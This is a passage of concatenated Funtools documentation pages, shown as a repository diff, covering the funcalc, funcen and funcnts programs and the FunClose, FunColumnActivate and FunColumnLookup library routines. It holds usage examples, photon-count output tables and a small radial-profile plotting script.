double limit=0.8;
end
before
if( ARGC >= 1 ) seed = atol(ARGV(0));
if( ARGC >= 2 ) limit = atof(ARGV(1));
srand48(seed);
end
if ( drand48() > limit ) continue;
The macro WRITE_ROW expands to the FunTableRowPut() call that writes
the current row. It can be used to write the row more than once. In
addition, the macro NROW expands to the row number currently being
processed. Use of these two macros is shown in the following example:
if( cur->pha:I == cur->pi:I ) continue;
a = cur->pha;
cur->pha = cur->pi;
cur->pi = a;
cur->AVG:E = (cur->pha+cur->pi)/2.0;
cur->NR:I = NROW;
if( NROW < 10 ) WRITE_ROW;
If the B<-p [prog]> switch is specified, the expression is not
executed. Rather, the generated executable is saved with the specified
program name for later use.
If the B<-n> switch is specified, the expression is not
executed. Rather, the generated code is written to stdout. This is
especially useful if you want to generate a skeleton file and add your
own code, or if you need to check compilation errors. Note that the
comment at the start of the output gives the compiler command needed
to build the program on that platform. (The command can change from
platform to platform because of the use of different libraries,
compiler switches, etc.)
As mentioned previously, B<funcalc> will declare a scalar
variable automatically (as a double) if that variable has been used
but not declared. This facility is implemented using a sed script
named funcalc.sed, which processes the
compiler output to sense an undeclared variable error. This script
has been seeded with the appropriate error information for gcc, and for
cc on Solaris, DecAlpha, and SGI platforms. If you find that automatic
declaration of scalars is not working on your platform, check this sed
script; it might be necessary to add to or edit some of the error
messages it senses.
In order to keep the lexical analysis of B<funcalc> expressions
(reasonably) simple, we chose to accept some limitations on how
accurately C comments, spaces, and new-lines are placed in the
generated program. In particular, comments associated with local
variables declared at the beginning of an expression (i.e., not in a
B<local...end> block) will usually end up in the inner loop, not
with the local declarations:
/* this comment will end up in the wrong place (i.e, inner loop) */
double a; /* also in wrong place */
/* this will be in the the right place (inner loop) */
if( cur->x:D == cur->y:D ) continue; /* also in right place */
a = cur->x;
cur->x = cur->y;
cur->y = a;
cur->avg:E = (cur->x+cur->y)/2.0;
Similarly, spaces and new-lines sometimes are omitted or added in a
seemingly arbitrary manner. Of course, none of these stylistic
blemishes affect the correctness of the generated code.
Because B<funcalc> must analyze the user expression using the data
file(s) passed on the command line, the input file(s) must be opened
and read twice: once during program generation and once during
execution. As a result, it is not possible to use stdin for the
input file: B<funcalc> cannot be used as a filter. We will
consider removing this restriction at a later time.
Along with C comments, B<funcalc> expressions can have one-line
internal comments that are not passed on to the generated C
program. These internal comment start with the B<#> character and
continue up to the new-line:
double a; # this is not passed to the generated C file
# nor is this
a = cur->x;
cur->x = cur->y;
cur->y = a;
/* this comment is passed to the C file */
cur->avg:E = (cur->x+cur->y)/2.0;
As previously mentioned, input columns normally are identified by
their being used within the inner event loop. There are rare cases
where you might want to read a column and process it outside the main
loop. For example, qsort might use a column in its sort comparison
routine that is not processed inside the inner loop (and therefore not
implicitly specified as a column to be read). To ensure that such a
column is read by the event loop, use the B<explicit> keyword.
The arguments to this keyword specify columns that should be read into
the input record structure even though they are not mentioned in the
inner loop. For example:
explicit pi pha
will ensure that the pi and pha columns are read for each row,
even if they are not processed in the inner event loop. The B<explicit>
statement can be placed anywhere.
Finally, note that B<funcalc> currently works on expressions
involving FITS binary tables and raw event files. We will consider
adding support for image expressions at a later point, if there is
demand for such support from the community.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,145 @@
=pod
=head1 NAME
B<funcen - find centroid (for binary tables)>
=head1 SYNOPSIS
funcen [-i] [-n iter] [-t tol] [-v lev] <iname> <region>
=head1 OPTIONS
-i # use image filtering (default: event filtering)
-n iter # max number of iterations (default: 0)
-t tol # pixel tolerance distance (default: 1.0)
-v [0,1,2,3] # output verbosity level (default: 0)
=head1 DESCRIPTION
B<funcen> iteratively calculates the centroid position within one
or more regions of a Funtools table (FITS binary table or raw event
file). Starting with an input table, an initial region specification,
and an iteration count, the program calculates the average x and y
position within the region and then uses this new position as the
region center for the next iteration. Iteration terminates when the
maximum number of iterations is reached or when the input tolerance
distance is met for that region. A count of events in the final region
is then output, along with the pixel position value (and, where
available, WCS position).
The first argument to the program specifies the Funtools table file to
process. Since the file must be read repeatedly, a value of "stdin"
is not permitted when the number of iterations is non-zero. Use
Funtools Bracket Notation to specify FITS
extensions and filters.
The second required argument is the initial region descriptor. Multiple
regions are permitted. However, compound regions (accelerators,
variable argument regions and regions connected via boolean algebra)
are not permitted. Points and polygons also are illegal. These
restrictions might be lifted in a future version, if warranted.
The B<-n> (iteration number) switch specifies the maximum number of
iterations to perform. The default is 0, which means that the program will
simply count and display the number of events in the initial region(s).
Note that when iterations is 0, the data can be input via stdin.
The B<-t> (tolerance) switch specifies a floating point tolerance
value. If the distance between the current centroid position value and
the last position values is less than this value, iteration terminates.
The default value is 1 pixel.
The B<-v> (verbosity) switch specifies the verbosity level of the
output. The default is 0, which results in a single line of output for
each input region consisting of the following values:
counts x y [ra dec coordsys]
The last 3 WCS values are output if WCS information is available in the
data file header. Thus, for example:
[sh] funcen -n 0 snr.ev "cir 505 508 5"
915 505.00 508.00 345.284038 58.870920 j2000
[sh] funcen -n 3 snr.ev "cir 505 508 5"
1120 504.43 509.65 345.286480 58.874587 j2000
The first example simply counts the number of events in the initial region.
The second example iterates the centroid calculation three times to determine
a final "best" position.
Higher levels of verbosity obviously imply more verbose output. At
level 1, the output essentially contains the same information as level
0, but with keyword formatting:
[sh] funcen -v 1 -n 3 snr.ev "cir 505 508 5"
event_file: snr.ev
initial_region: cir 505 508 5
tolerance: 1.0000
iterations: 1
events: 1120
x,y(physical): 504.43 509.65
ra,dec(j2000): 345.286480 58.874587
final_region1: cir 504.43 509.65 5
Level 2 outputs results from intermediate calculations as well.
Ordinarily, region filtering is performed using analytic (event)
filtering, i.e. that same style of filtering as is performed by
B<fundisp> and B<funtable>. Use the B<-i> switch to specify image
filtering, i.e. the same style filtering as is performed by B<funcnts>.
Thus, you can perform a quick calculation of counts in regions, using
either the analytic or image filtering method, by specifying the
B<-n 0> and optional B<-i> switches. These two method often
give different results because of how boundary events are processed:
[sh] funcen snr.ev "cir 505 508 5"
915 505.00 508.00 345.284038 58.870920 j2000
[sh] funcen -i snr.ev "cir 505 508 5"
798 505.00 508.00 345.284038 58.870920 j2000
See Region Boundaries for more information
about how boundaries are calculated using these two methods.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,53 @@
=pod
=head1 NAME
B<FunClose - close a Funtools data file>
=head1 SYNOPSIS
#include <funtools.h>
void FunClose(Fun fun)
=head1 DESCRIPTION
The B<FunClose()> routine closes a previously-opened Funtools data
file, freeing control structures. If a
Funtools reference handle
was passed to
the FunOpen() call for this file,
and if copy mode also was specified for that file, then
FunClose() also will copy the
remaining extensions from the input file to the output file (if the
input file still is open). Thus, we recommend always closing the
output Funtools file B<before> the input file. (Alternatively,
you can call FunFlush()
explicitly).
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,657 @@
=pod
=head1 NAME
B<funcnts - count photons in specified regions, with bkgd subtraction>
=head1 SYNOPSIS
funcnts [switches] <source_file> [source_region] [bkgd_file] [bkgd_region|bkgd_value]
=head1 OPTIONS
-e "source_exposure[;bkgd_exposure]"
# source (bkgd) FITS exposure image using matching files
-w "source_exposure[;bkgd_exposure]"
# source (bkgd) FITS exposure image using WCS transform
-t "source_timecorr[;bkgd_timecorr]"
# source (bkgd) time correction value or header parameter name
-g # output using nice g format
-G # output using %.14g format (maximum precision)
-i "[column;]int1;int2..." # column-based intervals
-m # match individual source and bkgd regions
-p # output in pixels, even if wcs is present
-r # output inner/outer radii (and angles) for annuli (and pandas)
-s # output summed values
-v "scol[;bcol]" # src and bkgd value columns for tables
-T # output in starbase/rdb format
-z # output regions with zero area
=head1 DESCRIPTION
B<funcnts> counts photons in the specified source regions and
reports the results for each region. Regions are specified using the
Spatial Region Filtering mechanism.
Photons are also counted in the specified bkgd regions applied to the
same data file or a different data file. (Alternatively, a constant
background value in counts/pixel**2 can be specified.) The bkgd regions
are either paired one-to-one with source regions or pooled and
normalized by area, and then subtracted from the source counts in each
region. Displayed results include the bkgd-subtracted counts in each
region, as well as the error on the counts, the area in
each region, and the surface brightness (cnts/area**2) calculated for
each region.
The first argument to the program specifies the FITS input image, array, or
raw event file to process. If "stdin" is specified, data are read from
the standard input. Use Funtools Bracket
Notation to specify FITS extensions, image sections, and filters.
The optional second argument is the source region descriptor. If no
region is specified, the entire field is used.
The background arguments can take one of two forms, depending on
whether a separate background file is specified. If the source
file is to be used for background as well, the third argument can be
either the background region, or a constant value denoting background
cnts/pixel. Alternatively, the third argument can be a background
data file, in which case the fourth argument is the background region.
If no third argument is specified, a constant value of 0 is used
(i.e., no background).
In summary, the following command arguments are valid:
[sh] funcnts sfile # counts in source file
[sh] funcnts sfile sregion # counts in source region
[sh] funcnts sfile sregion bregion # bkgd reg. is from source file
[sh] funcnts sfile sregion bvalue # bkgd reg. is constant
[sh] funcnts sfile sregion bfile bregion # bkgd reg. is from separate file
NB: unlike other Funtools programs, source and background regions are
specified as separate arguments on the command line, rather than being
placed inside brackets as part of the source and background filenames.
This is because regions in funcnts are not simply used as data
filters, but also are used to calculate areas, exposure, etc. If you
put the source region inside the brackets (i.e. use it simply as a
filter) rather than specifying it as argument two, the program still
will only count photons that pass the region filter. However, the area
calculation will be performed on the whole field, since field() is the
default source region. This rarely is the desired behavior. On the
other hand, with FITS binary tables, it often is useful to put a column
filter in the filename brackets, so that only events matching the
column filter are counted inside the region.
For example, to extract the counts within a radius of 22 pixels from the
center of the FITS binary table snr.ev and subtract the background determined
from the same image within an annulus of radii 50-100 pixels:
[sh] funcnts snr.ev "circle(502,512,22)" "annulus(502,512,50,100)"
# source
# data file: snr.ev
# degrees/pix: 0.00222222
# background
# data file: snr.ev
# column units
# area: arcsec**2
# surf_bri: cnts/arcsec**2
# surf_err: cnts/arcsec**2
# background-subtracted results
reg net_counts error background berror area surf_bri surf_err
---- ------------ --------- ------------ --------- --------- --------- ---------
1 3826.403 66.465 555.597 5.972 96831.98 0.040 0.001
# the following source and background components were used:
source region(s)
----------------
circle(502,512,22)
reg counts pixels
---- ------------ ---------
1 4382.000 1513
background region(s)
--------------------
annulus(502,512,50,100)
reg counts pixels
---- ------------ ---------
all 8656.000 23572
The area units for the output columns labeled "area", "surf_bri"
(surface brightness) and "surf_err" will be given either in
arc-seconds (if appropriate WCS information is in the data file
header(s)) or in pixels. If the data file has WCS info, but you do not
want arc-second units, use the B<-p> switch to force output in
pixels. Also, regions having zero area are not normally included in
the primary (background-subtracted) table, but are included in the
secondary source and bkgd tables. If you want these regions to be
included in the primary table, use the B<-z> switch.
Note that a simple sed command will extract the background-subtracted results
for further analysis:
[sh] cat funcnts.sed
1,/---- .*/d
/^$/,$d
[sh] sed -f funcnts.sed funcnts.out
1 3826.403 66.465 555.597 5.972 96831.98 0.040 0.001
If separate source and background files are specified, B<funcnts> will
attempt to normalize the the background area so that the background
pixel size is the same as the source pixel size. This normalization
can only take place if the appropriate WCS information is contained in
both files (e.g. degrees/pixel values in CDELT). If either
file does not contain the requisite size information, the normalization
is not performed. In this case, it is the user's responsibility to
ensure that the pixel sizes are the same for the two files.
Normally, if more than one background region is specified, B<funcnts>
will combine them all into a single region and use this background
region to produce the background-subtracted results for each source
region. The B<-m> (match multiple backgrounds) switch tells
B<funcnts> to make a one to one correspondence between background and
source regions, instead of using a single combined background region.
For example, the default case is to combine 2 background
regions into a single region and then apply that region to each of the
source regions:
[sh] funcnts snr.ev "annulus(502,512,0,22,n=2)" "annulus(502,512,50,100,n=2)"
# source
# data file: snr.ev
# degrees/pix: 0.00222222
# background
# data file: snr.ev
# column units
# area: arcsec**2
# surf_bri: cnts/arcsec**2
# surf_err: cnts/arcsec**2
# background-subtracted results
reg net_counts error background berror area surf_bri surf_err
---- ------------ --------- ------------ --------- --------- --------- ---------
1 3101.029 56.922 136.971 1.472 23872.00 0.130 0.002
2 725.375 34.121 418.625 4.500 72959.99 0.010 0.000
# the following source and background components were used:
source region(s)
----------------
annulus(502,512,0,22,n=2)
reg counts pixels
---- ------------ ---------
1 3238.000 373
2 1144.000 1140
background region(s)
--------------------
annulus(502,512,50,100,n=2)
reg counts pixels
---- ------------ ---------
all 8656.000 23572
Note that the basic region filter rule "each photon is counted once
and no photon is counted more than once" still applies when using The
B<-m> to match background regions. That is, if two background
regions overlap, the overlapping pixels will be counted in only one of
them. In a worst-case scenario, if two background regions are the same
region, the first will get all the counts and area and the second
will get none.
Using the B<-m> switch causes B<funcnts> to use each of the two
background regions independently with each of the two source regions:
[sh] funcnts -m snr.ev "annulus(502,512,0,22,n=2)" "ann(502,512,50,100,n=2)"
# source
# data file: snr.ev
# degrees/pix: 0.00222222
# background
# data file: snr.ev
# column units
# area: arcsec**2
# surf_bri: cnts/arcsec**2
# surf_err: cnts/arcsec**2
# background-subtracted results
reg net_counts error background berror area surf_bri surf_err
---- ------------ --------- ------------ --------- --------- --------- ---------
1 3087.015 56.954 150.985 2.395 23872.00 0.129 0.002
2 755.959 34.295 388.041 5.672 72959.99 0.010 0.000
# the following source and background components were used:
source region(s)
----------------
annulus(502,512,0,22,n=2)
reg counts pixels
---- ------------ ---------
1 3238.000 373
2 1144.000 1140
background region(s)
--------------------
ann(502,512,50,100,n=2)
reg counts pixels
---- ------------ ---------
1 3975.000 9820
2 4681.000 13752
Note that most floating point quantities are displayed using "f"
format. You can change this to "g" format using the B<-g>
switch. This can be useful when the counts in each pixel is very
small or very large. If you want maximum precision and don't care
about the columns lining up nicely, use B<-G>, which outputs
all floating values as %.14g.
When counting photons using the annulus and panda (pie and annuli)
shapes, it often is useful to have access to the radii (and panda
angles) for each separate region. The B<-r> switch will add radii
and angle columns to the output table:
[sh] funcnts -r snr.ev "annulus(502,512,0,22,n=2)" "ann(502,512,50,100,n=2)"
# source
# data file: snr.ev
# degrees/pix: 0.00222222
# background
# data file: snr.ev
# column units
# area: arcsec**2
# surf_bri: cnts/arcsec**2
# surf_err: cnts/arcsec**2
# radii: arcsecs
# angles: degrees
# background-subtracted results
reg net_counts error background berror area surf_bri surf_err radius1 radius2 angle1 angle2
---- ------------ --------- ------------ --------- --------- --------- --------- --------- --------- --------- ---------
1 3101.029 56.922 136.971 1.472 23872.00 0.130 0.002 0.00 88.00 NA NA
2 725.375 34.121 418.625 4.500 72959.99 0.010 0.000 88.00 176.00 NA NA
# the following source and background components were used:
source region(s)
----------------
annulus(502,512,0,22,n=2)
reg counts pixels
---- ------------ ---------
1 3238.000 373
2 1144.000 1140
background region(s)
--------------------
ann(502,512,50,100,n=2)
reg counts pixels
---- ------------ ---------
all 8656.000 23572
Radii are given in units of pixels or arc-seconds (depending on the
presence of WCS info), while the angle values (when present) are in
degrees. These columns can be used to plot radial profiles. For
example, the script B<funcnts.plot> in the funtools
distribution) will plot a radial profile using gnuplot (version 3.7 or
above). A simplified version of this script is shown below:
#!/bin/sh
if [ x"$1" = xgnuplot ]; then
if [ x`which gnuplot 2>/dev/null` = x ]; then
echo "ERROR: gnuplot not available"
exit 1
fi
awk '
BEGIN{HEADER=1; DATA=0; FILES=""; XLABEL="unknown"; YLABEL="unknown"}
HEADER==1{
if( $1 == "#" && $2 == "data" && $3 == "file:" ){
if( FILES != "" ) FILES = FILES ","
FILES = FILES $4
}
else if( $1 == "#" && $2 == "radii:" ){
XLABEL = $3
}
else if( $1 == "#" && $2 == "surf_bri:" ){
YLABEL = $3
}
else if( $1 == "----" ){
printf "set nokey; set title \"funcnts(%s)\"\n", FILES
printf "set xlabel \" radius(%s)\"\n", XLABEL
printf "set ylabel \"surf_bri(%s)\"\n", YLABEL
print "plot \"-\" using 3:4:6:7:8 with boxerrorbars"
HEADER = 0
DATA = 1
next
}
}
DATA==1{
if( NF == 12 ){
print $9, $10, ($9+$10)/2, $7, $8, $7-$8, $7+$8, $10-$9
}
else{
exit
}
}
' | gnuplot -persist - 1>/dev/null 2>&1
elif [ x"$1" = xds9 ]; then
awk '
BEGIN{HEADER=1; DATA=0; XLABEL="unknown"; YLABEL="unknown"}
HEADER==1{
if( $1 == "#" && $2 == "data" && $3 == "file:" ){
if( FILES != "" ) FILES = FILES ","
FILES = FILES $4
}
else if( $1 == "#" && $2 == "radii:" ){
XLABEL = $3
}
else if( $1 == "#" && $2 == "surf_bri:" ){
YLABEL = $3
}
else if( $1 == "----" ){
printf "funcnts(%s) radius(%s) surf_bri(%s) 3\n", FILES, XLABEL, YLABEL
HEADER = 0
DATA = 1
next
}
}
DATA==1{
if( NF == 12 ){
print $9, $7, $8
}
else{
exit
}
}
'
else
echo "funcnts -r ... | funcnts.plot [ds9|gnuplot]"
exit 1
fi
Thus, to run B<funcnts> and plot the results using gnuplot (version 3.7
or above), use:
funcnts -r snr.ev "annulus(502,512,0,50,n=5)" ... | funcnts.plot gnuplot
The B<-s> (sum) switch causes B<funcnts> to produce an
additional table of summed (integrated) background subtracted values,
along with the default table of individual values:
[sh] funcnts -s snr.ev "annulus(502,512,0,50,n=5)" "annulus(502,512,50,100)"
# source
# data file: snr.ev
# degrees/pix: 0.00222222
# background
# data file: snr.ev
# column units
# area: arcsec**2
# surf_bri: cnts/arcsec**2
# surf_err: cnts/arcsec**2
# summed background-subtracted results
upto net_counts error background berror area surf_bri surf_err
---- ------------ --------- ------------ --------- --------- --------- ---------
1 2880.999 54.722 112.001 1.204 19520.00 0.148 0.003
2 3776.817 65.254 457.183 4.914 79679.98 0.047 0.001
3 4025.492 71.972 1031.508 11.087 179775.96 0.022 0.000
4 4185.149 80.109 1840.851 19.786 320831.94 0.013 0.000
5 4415.540 90.790 2873.460 30.885 500799.90 0.009 0.000
# background-subtracted results
reg counts error background berror area surf_bri surf_err
---- ------------ --------- ------------ --------- --------- --------- ---------
1 2880.999 54.722 112.001 1.204 19520.00 0.148 0.003
2 895.818 35.423 345.182 3.710 60159.99 0.015 0.001
3 248.675 29.345 574.325 6.173 100095.98 0.002 0.000
4 159.657 32.321 809.343 8.699 141055.97 0.001 0.000
5 230.390 37.231 1032.610 11.099 179967.96 0.001 0.000
# the following source and background components were used:
source region(s)
----------------
annulus(502,512,0,50,n=5)
reg counts pixels sumcnts sumpix
---- ------------ --------- ------------ ---------
1 2993.000 305 2993.000 305
2 1241.000 940 4234.000 1245
3 823.000 1564 5057.000 2809
4 969.000 2204 6026.000 5013
5 1263.000 2812 7289.000 7825
background region(s)
--------------------
annulus(502,512,50,100)
reg counts pixels
---- ------------ ---------
all 8656.000 23572
The B<-t> and B<-e> switches can be used to apply timing and
exposure corrections, respectively, to the data. Please note that
these corrections are meant to be used qualitatively, since
application of more accurate correction factors is a complex and
mission-dependent effort. The algorithm for applying these simple
corrections is as follows:
C = Raw Counts in Source Region
Ac= Area of Source Region
Tc= Exposure time for Source Data
Ec= Average exposure in Source Region, from exposure map
B= Raw Counts in Background Region
Ab= Area of Background Region
Tb= (Exposure) time for Background Data
Eb= Average exposure in Background Region, from exposure map
Then, Net Counts in Source region is
Net= C - B * (Ac*Tc*Ec)/(Ab*Tb*Eb)
with the standard propagation of errors for the Error on Net.
The net rate would then be
Net Rate = Net/(Ac*Tc*Ec)
The average exposure in each region is calculated by summing up the
pixel values in the exposure map for the given region and then
dividing by the number of pixels in that region. Exposure maps often
are generated at a block factor > 1 (e.g., block 4 means that each
exposure pixel contains 4x4 pixels at full resolution) and
B<funcnts> will deal with the blocking automatically. Using the
B<-e> switch, you can supply both source and background exposure
files (separated by ";"), if you have separate source and background
data files. If you do not supply a background exposure file to go with
a separate background data file, B<funcnts> assumes that exposure
already has been applied to the background data file. In addition, it
assumes that the error on the pixels in the background data file is
zero.
NB: The B<-e> switch assumes that the exposure map overlays the
image file B<exactly>, except for the block factor. Each pixel in
the image is scaled by the block factor to access the corresponding
pixel in the exposure map. If your exposure map does not line up
exactly with the image, B<do not use> the B<-e> exposure
correction. In this case, it still is possible to perform exposure
correction B<if> both the image and the exposure map have valid
WCS information: use the B<-w> switch so that the transformation
from image pixel to exposure pixel uses the WCS information. That is,
each pixel in the image region will be transformed first from image
coordinates to sky coordinates, then from sky coordinates to exposure
coordinates. Please note that using B<-w> can increase the time
required to process the exposure correction considerably.
A time correction can be applied to both source and
background data using the B<-t> switch. The value for the correction can
either be a numeric constant or the name of a header parameter in
the source (or background) file:
[sh] funcnts -t 23.4 ... # number for source
[sh] funcnts -t "LIVETIME;23.4" ... # param for source, numeric for bkgd
When a time correction is specified, it is applied to the net counts
as well (see algorithm above), so that the units of surface brightness
become cnts/area**2/sec.
The B<-i> (interval) switch is used to run B<funcnts> on multiple
column-based intervals with only a single pass through the data. It is
equivalent to running B<funcnts> several times with a different column
filter added to the source and background data each time. For each
interval, the full B<funcnts> output is generated, with a linefeed
character (^L) inserted between each run. In addition, the output for
each interval will contain the interval specification in its header.
Intervals are very useful for generating X-ray hardness ratios
efficiently. Of course, they are only supported when the input data
are contained in a table.
Two formats are supported for interval specification. The most general
format is semi-colon-delimited list of filters to be used as intervals:
funcnts -i "pha=1:5;pha=6:10;pha=11:15" snr.ev "circle(502,512,22)" ...
Conceptually, this will be equivalent to running B<funcnts> three times:
funcnts snr.ev'[pha=1:5]' "circle(502,512,22)"
funcnts snr.ev'[pha=6:10]' "circle(502,512,22)"
funcnts snr.ev'[pha=11:15]' "circle(502,512,22)"
However, using the B<-i> switch will require only one pass through
the data.
Note that complex filters can be used to specify intervals:
funcnts -i "pha=1:5&&pi=4;pha=6:10&&pi=5;pha=11:15&&pi=6" snr.ev ...
The program simply runs the data through each filter in turn and generates
three B<funcnts> outputs, separated by the line-feed character.
In fact, although the intent is to support intervals for hardness ratios,
the specified filters do not have to be intervals at all. Nor does one
"interval" filter have to be related to another. For example:
funcnts -i "pha=1:5;pi=6:10;energy=11:15" snr.ev "circle(502,512,22)" ...
is equivalent to running B<funcnts> three times with unrelated filter
specifications.
A second interval format is supported for the simple case in which a
single column is used to specify multiple homogeneous intervals for
that column. In this format, a column name is specified first,
followed by intervals:
funcnts -i "pha;1:5;6:10;11:15" snr.ev "circle(502,512,22)" ...
This is equivalent to the first example, but requires less typing. The
B<funcnts> program will simply prepend "pha=" before each of the specified
intervals. (Note that this format does not contain the "=" character in
the column argument.)
Ordinarily, when B<funcnts> is run on a FITS binary table (or a
raw event table), one integral count is accumulated for each row
(event) contained within a given region. The B<-v "scol[;bcol]">
(value column) switch will accumulate counts using the value from the
specified column for the given event. If only a single column is
specified, it is used for both the source and background regions. Two
separate columns, separated by a semi-colon, can be specified for source
and background. The special token '$none' can be used to specify that
a value column is to be used for one but not the other. For example,
'pha;$none' will use the pha column for the source but use integral
counts for the background, while '$none;pha' will do the converse.
If the value column is of type logical, then the value used will be 1
for T and 0 for F. Value columns are used, for example, to integrate
probabilities instead of integral counts.
If the B<-T> (rdb table) switch is used, the output will conform
to starbase/rdb data base format: tabs will be inserted between
columns rather than spaces and line-feed will be inserted between
tables.
Finally, note that B<funcnts> is an image program, even though it
can be run directly on FITS binary tables. This means that image
filtering is applied to the rows in order to ensure that the same
results are obtained regardless of whether a table or the equivalent
binned image is used. Because of this, however, the number of counts
found using B<funcnts> can differ from the number of events found
using row-filter programs such as B<fundisp> or B<funtable>
For more information about these difference, see the discussion of
Region Boundaries.
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,239 @@
=pod
=head1 NAME
B<FunColumnActivate - activate Funtools columns>
=head1 SYNOPSIS
#include <funtools.h>
void FunColumnActivate(Fun fun, char *s, char *plist)
=head1 DESCRIPTION
The B<FunColumnActivate()> routine determines which columns (set up
by FunColumnSelect())
ultimately will be read and/or written. By default, all columns that
are selected using
FunColumnSelect()
are activated. The
FunColumnActivate()
routine can be used to turn off/off activation of specific columns.
The first argument is the Fun handle associated with this set of
columns. The second argument is a space-delimited list of columns to
activate or de-activate. Columns preceded by "+" are activated and
columns preceded by a "-" are de-activated. If a column is named
without "+" or "-", it is activated. The reserved strings "$region"
and '$n' are used to activate a special columns containing the filter
region value and row value, respectively, associated with
this row. For example, if a filter containing two circular regions is
specified as part of the Funtools file name, this column will contain
a value of 1 or 2, depending on which region that row was in. The
reserved strings "$x" and "$y" are used to activate the current
binning columns. Thus, if the columns DX and DY are specified as
binning columns:
[sh $] fundisp foo.fits[bincols=(DX,DY)]
then "$x" and "$y" will refer to these columns in a call to
FunColumnActivate().
In addition, if the activation string contains only columns to be
activated, then the routine will de-activate all other columns.
Similarly, if the activation string contains only
columns to de-activate, then the routine will activate all other columns
before activating the list. This makes it simple to change the
activation state of all columns without having to know all of the
column names. For example:
=over 4
=item *
B<"pi pha time"> # only these three columns will be active
=item *
B<"-pi -pha -time"> # all but these columns will be active
=item *
B<"pi -pha"> # only pi is active, pha is not, others are not
=item *
B<"+pi -pha"> # same as above
=item *
B<"pi -pha -time"> # only pi is active, all others are not
=item *
B<"pi pha"> # pha and pi are active, all others are not
=item *
B<"pi pha -x -y"> # pha and pi are active, all others are not
=back
You can use the column activation list to reorder columns, since
columns are output in the order specified. For example:
# default output order
fundisp snr.ev'[cir 512 512 .1]'
X Y PHA PI TIME DX DY
-------- -------- -------- -------- --------------------- -------- --------
512 512 6 7 79493997.45854475 578 574
512 512 8 9 79494575.58943175 579 573
512 512 5 6 79493631.03866175 578 575
512 512 5 5 79493290.86521725 578 575
512 512 8 9 79493432.00990875 579 573
# re-order the output by specifying explicit order
fundisp snr.ev'[cir 512 512 .1]' "time x y dy dx pi pha"
TIME X Y DY DX PI PHA
--------------------- -------- -------- -------- -------- -------- --------
79493997.45854475 512 512 574 578 7 6
79494575.58943175 512 512 573 579 9 8
79493631.03866175 512 512 575 578 6 5
79493290.86521725 512 512 575 578 5 5
79493432.00990875 512 512 573 579 9 8
A "+" sign by itself means to activate all columns, so that you can reorder
just a few columns without specifying all of them:
# reorder 3 columns and then output the rest
fundisp snr.ev'[cir 512 512 .1]' "time pi pha +"
TIME PI PHA Y X DX DY
--------------------- -------- -------- -------- -------- -------- --------
79493997.45854475 7 6 512 512 578 574
79494575.58943175 9 8 512 512 579 573
79493631.03866175 6 5 512 512 578 575
79493290.86521725 5 5 512 512 578 575
79493432.00990875 9 8 512 512 579 573
The column activation/deactivation is performed in the order of the
specified column arguments. This means you can mix "+", "-" (which
de-activates all columns) and specific column names to reorder and
select columns in one command. For example, consider the following:
# reorder and de-activate
fundisp snr.ev'[cir 512 512 .1]' "time pi pha + -x -y"
TIME PI PHA DX DY
--------------------- -------- -------- -------- --------
79493997.45854475 7 6 578 574
79494575.58943175 9 8 579 573
79493631.03866175 6 5 578 575
79493290.86521725 5 5 578 575
79493432.00990875 9 8 579 573
We first activate "time", "pi", and "pha" so that they are output first.
We then activate all of the other columns, and then de-activate "x" and "y".
Note that this is different from:
# probably not what you want ...
fundisp snr.ev'[cir 512 512 .1]' "time pi pha -x -y +"
TIME PI PHA Y X DX DY
--------------------- -------- -------- -------- -------- -------- --------
79493997.45854475 7 6 512 512 578 574
79494575.58943175 9 8 512 512 579 573
79493631.03866175 6 5 512 512 578 575
79493290.86521725 5 5 512 512 578 575
79493432.00990875 9 8 512 512 579 573
Here, "x" and "y" are de-activated, but then all columns including "x" and
"y" are again re-activated.
Typically,
FunColumnActivate() uses a
list of columns that are passed into the program from the command line. For
example, the code for funtable contains the following:
char *cols=NULL;
/* open the input FITS file */
if( !(fun = FunOpen(argv[1], "rc", NULL)) )
gerror(stderr, "could not FunOpen input file: %s\n", argv[1]);
/* set active flag for specified columns */
if( argc >= 4 ) cols = argv[3];
FunColumnActivate(fun, cols, NULL);
The FunOpen() call sets the
default columns to be all columns in the input file. The
FunColumnActivate() call
then allows the user to control which columns ultimately will be
activated (i.e., in this case, written to the new file). For example:
funtable test.ev foo.ev "pi pha time"
will process only the three columns mentioned, while:
funtable test.ev foo.ev "-time"
will process all columns except "time".
If FunColumnActivate()
is called with a null string, then the environment variable
B<FUN_COLUMNS> will be used to provide a global value, if present.
This is the reason why we call the routine even if no columns
are specified on the command line (see example above), instead
of calling it this way:
/* set active flag for specified columns */
if( argc >= 4 ){
FunColumnActivate(fun, argv[3], NULL);
}
=head1 SEE ALSO
See funtools(n) for a list of Funtools help pages
=cut

View File

@ -0,0 +1,188 @@
=pod
=head1 NAME
B<FunColumnLookup - lookup a Funtools column>
=head1 SYNOPSIS
#include <funtools.h>
int FunColumnLookup(Fun fun, char *s, int which,
char **name, int *type, int *mode,
int *offset, int *n, int *width)
=head1 DESCRIPTION
The B<FunColumnLookup()> routine returns information about a named
(or indexed) column. The first argument is the Fun handle associated
with this set of columns. The second argument is the name of the
column to look up. If the name argument is NULL, the argument that
follows is the zero-based index into the column array of the column
for which information should be returned. The next argument is a
pointer to a char *, which will contain the name of the column. The
arguments that follow are the addresses of int values into which
the following information will be returned:
=over 4
=item *
B<type>: data type of column:
=over 4
=item *
A: ASCII characters
=item *
B: unsigned 8-bit char
=item *
I: signed 16-bit int
=item *
U: unsigned 16-bit int (not standard FITS)
=item *
J: signed 32-bit int
=item *
V: unsigned 32-bit int (not standard FITS)
=item *
E: 32-bit float
=item *
D: 64-bit float
=back
=item *
B<mode>: bit flag status of column, including:
=over 4
=item *
COL_ACTIVE 1 is column activated?
=item *
COL_IBUF 2 is column in the raw input data?
=item *
COL_PTR 4 is column a pointer to an array?
=item *
COL_READ 010 is read mode selected?
=item *
COL_WRITE 020 is write mode selected?
=item *
COL_REPLACEME 040 is this column being replaced by user data?
=back
=item *
B<offset>: byte offset in struct
=item *
B<n>: number of elements (i.e. size of vector) in this column
=item *
B<width>: size in bytes of this column
=back
If the named column exists, the routine returns a positive integer,
otherwise zero is returned. (The positive integer is the index+1 into
the column array where this column was located.)
If NULL is passed as the return address of one (or more) of these
values, no data is passed back for that information. For
example:
